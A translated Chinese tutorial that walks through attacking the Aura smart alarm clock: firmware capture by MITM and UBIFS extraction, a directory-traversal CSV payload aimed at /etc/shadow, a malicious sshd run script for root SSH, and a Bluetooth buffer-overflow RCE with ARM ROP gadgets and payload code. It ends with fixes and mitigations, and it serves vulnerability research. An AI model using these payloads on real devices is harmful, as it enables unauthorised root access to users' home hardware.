【译】逆向攻击 “在线闹钟”
字数 1353 2025-08-25 22:58:47

逆向攻击 "在线闹钟"设备教学文档

1. 设备概述

目标设备:Aura "在线闹钟"设备

  • 功能:通过调节声音和颜色模式帮助用户睡眠,并在睡眠周期结束时唤醒用户
  • 硬件:飞思卡尔(现恩智浦)处理器,嵌入式Linux系统
  • 连接方式:WiFi和蓝牙

2. 初步分析

2.1 网络扫描

使用nmap扫描设备:

$ nmap 192.168.12.196

发现22端口(SSH)被过滤但有响应。

2.2 蓝牙服务分析

使用sdptool查看蓝牙服务:

$ sdptool records 00:24:E4:22:95:C3

发现两个RFCOMM服务,分别在通道3和9。

3. 固件获取与分析

3.1 固件抓取方法

通过MITM(中间人攻击)在固件升级时嗅探HTTP流量,发现固件下载请求:

GET /wsd01/wsd01_905.bin HTTP/1.1

3.2 固件格式分析

固件为FPKG格式:

  • 文件头以"fpkg"开头
  • 包含UBIFS文件系统镜像

使用工具:

$ file wsd01_905.bin
$ hexdump -C wsd01_905.bin | head -n 20
$ binwalk wsd01_905.bin | head

3.3 提取文件系统

使用ubi_reader工具提取UBIFS文件系统:

$ ubireader_extract_files -k 1C.ubi

提取出的文件系统包含标准Linux目录结构。

4. 漏洞发现与利用

4.1 Seqman目录遍历漏洞

漏洞描述

  • seqmand守护进程负责下载音频文件
  • 通过篡改aura_seq_list.csv文件可实现目录遍历

利用步骤

  1. 重定向HTTP请求到攻击者服务器
  2. 提供恶意csv文件,如:
#name;is_mandatory;filename;md5;filesize;
WAKEUP_42;1;etc/shadow;326c68d758d21b2a4bb1f5e14931c2b4;720

4.2 获取SSH root访问

利用方法

  1. 覆盖/var/service/sshd/run脚本
  2. 通过/var/service/sshd/supervise/control管道重启服务

恶意run脚本示例

#!/bin/sh
mount -oremount,rw /
echo "Your shadow comes here" > /etc/shadow
exec dropbear -F &> /dev/null

控制文件操作

$ echo k > /var/service/sshd/supervise/control
$ echo u > /var/service/sshd/supervise/control

4.3 蓝牙RCE漏洞

漏洞位置

  • cmd_perso命令的参数解析存在缓冲区溢出
  • wpp_unpack_perso函数中的memcpy无边界检查

漏洞利用步骤

  1. 构建ROP链
  • 使用以下gadget:
    • 设置R3: 0x0000e840 pop {r3, lr}
    • 设置R4: 0x0000e804 pop {r4, pc}
    • 写内存: 0x0000e800 strb r3, [r4]
    • 恢复执行: 0x0003cf10 pop {fp, pc}
  1. 分阶段写入
  • 第一阶段:写入shellcode到已知地址
  • 第二阶段:调用system()执行shellcode

payload结构

payload = b"A"*(0x47-4)  # Padding
payload += b"\x42" * 4    # Don't care
payload += b"\x40\xe8\x00\x00"  # Set R3 gadget
payload += pack("<I", values[0])  # R3 value
payload += b"\x04\xe8\x00\x00"  # Set R4 gadget
payload += pack("<I", address)  # R4 value
# ... 更多gadget和值
  1. 执行system()
payload = b"A"*(0x47-4)  # padding
payload += pack("<I", fp)  # fp value
payload += b"\xd4\x03\x04\x00"  # system call gadget

5. 防御措施

已修复的漏洞:

  1. 目录遍历漏洞
  2. 蓝牙协议缓冲区溢出漏洞

建议的安全实践:

  1. 对所有文件路径操作进行严格验证
  2. 实现蓝牙协议解析的边界检查
  3. 使用地址空间布局随机化(ASLR)
  4. 实现堆栈保护机制

6. 工具与资源

使用的主要工具:

  1. nmap - 网络扫描
  2. binwalk - 固件分析
  3. ubi_reader - UBIFS文件系统提取
  4. Buildroot - 交叉编译gdbserver
  5. radare2/IDA - 二进制逆向分析

参考资源:

  1. FPKG文件格式KSY描述
  2. UBIFS文件系统文档
  3. runsv/runsvdir手册页
  4. ARM ROP gadget查找技术

7. 总结

本案例展示了从固件分析到远程代码执行的完整攻击链,涉及:

  1. 固件提取与逆向
  2. 目录遍历漏洞利用
  3. 服务控制机制绕过
  4. 蓝牙协议缓冲区溢出利用
  5. ARM ROP技术应用

这些技术可应用于类似IoT设备的漏洞研究和安全评估。

逆向攻击 "在线闹钟"设备教学文档 1. 设备概述 目标设备:Aura "在线闹钟"设备 功能:通过调节声音和颜色模式帮助用户睡眠,并在睡眠周期结束时唤醒用户 硬件:飞思卡尔(现恩智浦)处理器,嵌入式Linux系统 连接方式:WiFi和蓝牙 2. 初步分析 2.1 网络扫描 使用nmap扫描设备: 发现22端口(SSH)被过滤但有响应。 2.2 蓝牙服务分析 使用sdptool查看蓝牙服务: 发现两个RFCOMM服务,分别在通道3和9。 3. 固件获取与分析 3.1 固件抓取方法 通过MITM(中间人攻击)在固件升级时嗅探HTTP流量,发现固件下载请求: 3.2 固件格式分析 固件为FPKG格式: 文件头以"fpkg"开头 包含UBIFS文件系统镜像 使用工具: 3.3 提取文件系统 使用ubi_ reader工具提取UBIFS文件系统: 提取出的文件系统包含标准Linux目录结构。 4. 漏洞发现与利用 4.1 Seqman目录遍历漏洞 漏洞描述 : seqmand守护进程负责下载音频文件 通过篡改aura_ seq_ list.csv文件可实现目录遍历 利用步骤 : 重定向HTTP请求到攻击者服务器 提供恶意csv文件,如: 4.2 获取SSH root访问 利用方法 : 覆盖/var/service/sshd/run脚本 通过/var/service/sshd/supervise/control管道重启服务 恶意run脚本示例 : 控制文件操作 : 4.3 蓝牙RCE漏洞 漏洞位置 : cmd_ perso命令的参数解析存在缓冲区溢出 wpp_ unpack_ perso函数中的memcpy无边界检查 漏洞利用步骤 : 构建ROP链 : 使用以下gadget: 设置R3: 0x0000e840 pop {r3, lr} 设置R4: 0x0000e804 pop {r4, pc} 写内存: 0x0000e800 strb r3, [r4] 恢复执行: 0x0003cf10 pop {fp, pc} 分阶段写入 : 第一阶段:写入shellcode到已知地址 第二阶段:调用system()执行shellcode payload结构 : 执行system() : 5. 防御措施 已修复的漏洞: 目录遍历漏洞 蓝牙协议缓冲区溢出漏洞 建议的安全实践: 对所有文件路径操作进行严格验证 实现蓝牙协议解析的边界检查 使用地址空间布局随机化(ASLR) 实现堆栈保护机制 6. 工具与资源 使用的主要工具: nmap - 网络扫描 binwalk - 固件分析 ubi_ reader - UBIFS文件系统提取 Buildroot - 交叉编译gdbserver radare2/IDA - 二进制逆向分析 参考资源: FPKG文件格式KSY描述 UBIFS文件系统文档 runsv/runsvdir手册页 ARM ROP gadget查找技术 7. 总结 本案例展示了从固件分析到远程代码执行的完整攻击链,涉及: 固件提取与逆向 目录遍历漏洞利用 服务控制机制绕过 蓝牙协议缓冲区溢出利用 ARM ROP技术应用 这些技术可应用于类似IoT设备的漏洞研究和安全评估。